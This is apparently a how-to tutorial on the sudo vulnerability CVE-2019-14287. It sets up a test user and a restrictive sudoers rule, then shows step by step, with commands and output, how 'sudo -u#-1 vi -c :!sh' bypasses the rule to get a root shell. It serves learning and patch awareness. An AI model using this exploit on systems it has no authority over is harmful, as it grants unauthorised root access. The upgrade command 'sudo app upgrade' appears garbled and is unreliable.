Anyone who has used Linux long enough is familiar with sudo. Short for superuser do (or substitute user do, depending on who you ask), it allows users to run commands as either root or another user on the system. From a hacker's point of view, sudo is often all that stands between them and root access. We'll be exploring an older vulnerability in sudo that allows a user to run commands as root.
Am I Vulnerable?
Sudo is a command-line utility used on nearly every Linux system that allows admins to give specific users or groups the ability to run commands as root, or in some cases, other users.
A vulnerability (CVE-2019-14287) published in October 2019 allowed users to execute commands as root on systems that explicitly deny root access but allow the user to run commands as another user. The issue arose from the way sudo treats certain user ID numbers, incorrectly interpreting them as the ID of root.
Sudo versions before 1.8.28 are affected (it was patched fairly quickly after its discovery), so older versions should be upgraded as soon as possible. To check if your version is vulnerable, simply run sudo with the -V switch to display the current version:
~# sudo -V
Sudo version 1.8.27
While the specific configuration of sudo seen above isn't the most common, it is certainly not unheard of, so it's important to know how the bug works and to upgrade if your sudo version is vulnerable. To update it, just use the following command (it may take a while).
~# sudo app upgrade
We will be testing this vulnerability out on Kali Linux with sudo version 1.8.27.
Step 1: Create Test User
To get started, let's create a demo user we can test this out on. Use the useradd command followed by the name of our new user:
~# useradd testuser
Next, we need to add a password for our newly created user. Use the passwd command, which will prompt for a new password:
~# passwd testuser
New password:
Retype new password:
passwd: password updated successfully
Now, if we look at the /etc/passwd file, which lists all users on the system and their relevant information, we can see our new user at the bottom:
~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
statd:x:138:65534::/var/lib/nfs:/usr/sbin/nologin
tcpdump:x:139:146::/nonexistent:/usr/sbin/nologin
testuser:x:1000:1000::/home/testuser:/bin/sh
Step 2: Configure Sudo
The next thing we need to do is configure sudo privileges for our new user; we can do that with the visudo command:
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
That will allow us to properly edit the /etc/sudoers file. This is basically a vi session, so we must press I to enter insert mode. Then, add a new line for our user under the "User privilege specification" heading:
# User privilege specification
root ALL=(ALL:ALL) ALL
testuser ALL=(ALL, !root) /usr/bin/vi
Basically, the line is saying our new user can run the vi command as any other user except root.
Now press Escape to exit insert mode and go back to command mode, and enter :WQ to write to the file and quit. The sudoers file should now look like this:
~# cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
testuser ALL=(ALL, !root) /usr/bin/vi
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
We should be good to go at this point.
Step 3: Exploit & Get Shell
Let's switch to our new user; use the su command to do so:
~# su - testuser
su: warning: cannot change directory to /home/testuser: No such file or directory
$
If we run the whoami command, it will clearly show that we are the new user:
$ whoami
testuser
Sudo allows us to run commands as another user with the -u switch. Specify the user and the command to run, for example, chmod:
$ sudo -u testuser chmod --version
Sorry, user testuser is not allowed to execute '/bin/chmod --version' as testuser on drd.
We can see that it doesn't let us run that command, because it wasn't specified in the sudoers file. But if we run the vi command, which was specified, it works:
$ sudo -u testuser vi --version
VIM - Vi IMproved 8.1 (2018 May 18, compiled Jun 15 2019 16:41:15)
Included patches: 1-875, 878, 884, 948, 1046, 1365-1368, 1382, 1401
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org
...
Instead of running a command as another user by name, we can also do it using the numerical ID. If you recall from earlier, the ID is part of the line added in the passwd file:
testuser:x:1000:1000::/home/testuser:/bin/sh
We can also use the id command to see this:
$ id
uid=1000(testuser) gid=1000(testuser) groups=1000(testuser)
Using the numerical ID, let's try to run the chmod command like we did earlier:
$ sudo -u#1000 chmod --version
Sorry, user testuser is not allowed to execute '/bin/chmod --version' as testuser on drd.
And it still doesn't work. But when we run the command we are allowed to, it works just the same:
$ sudo -u#1000 vi --version
VIM - Vi IMproved 8.1 (2018 May 18, compiled Jun 15 2019 16:41:15)
Included patches: 1-875, 878, 884, 948, 1046, 1365-1368, 1382, 1401
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org
...
What if we tried to run this command as root? We can use the ID of 0 to denote the root user:
$ sudo -u#0 vi --version
Sorry, user testuser is not allowed to execute '/usr/bin/vi --version' as root on drd.
Even though we are allowed to run the command, it doesn't work because we are only allowed to run it under any other user besides root.
The vulnerability arises in the way sudo treats the ID of -1, or its unsigned equivalent of 4294967295, effectively treating these IDs as 0, which is the ID for root.
We can successfully run the vi command with ID -1:
$ sudo -u#-1 vi --version
VIM - Vi IMproved 8.1 (2018 May 18, compiled Jun 15 2019 16:41:15)
Included patches: 1-875, 878, 884, 948, 1046, 1365-1368, 1382, 1401
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org
...
And likewise, with ID 4294967295:
$ sudo -u#4294967295 vi --version
VIM - Vi IMproved 8.1 (2018 May 18, compiled Jun 15 2019 16:41:15)
Included patches: 1-875, 878, 884, 948, 1046, 1365-1368, 1382, 1401
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org
...
It's well known that commands can be run within a vi session using the :! operator, followed by the command. But we can also run commands through vi without even entering the session with the -c switch. For example, to run whoami:
$ vi -c :!whoami
testuser
Press ENTER or type command to continue
This is where it gets interesting. If we run that same command with the ID of -1, it incorrectly translates to the ID of root:
$ sudo -u#-1 vi -c :!whoami
root
Press ENTER or type command to continue
Since we can run any command like this, it's trivial to spawn a shell:
$ sudo -u#-1 vi -c :!sh
#
And we are now root:
# whoami
root
Wrapping Up
In this tutorial, we learned about a vulnerability (CVE-2019-14287) in the sudo utility on Linux systems from last year. First, we checked if we were vulnerable and created a test user with the appropriate sudo configuration to test the bug. Next, we ran through some examples and learned how to run commands as different users. Finally, we exploited the flaw in sudo to effectively run commands as root, ultimately leading to a full-blown root shell.
Just updated your iPhone to iOS 18? You'll find a ton of hot new features for some of your most-used Apple apps. Dive in and see for yourself:
Be the First to Comment
Share Your Thoughts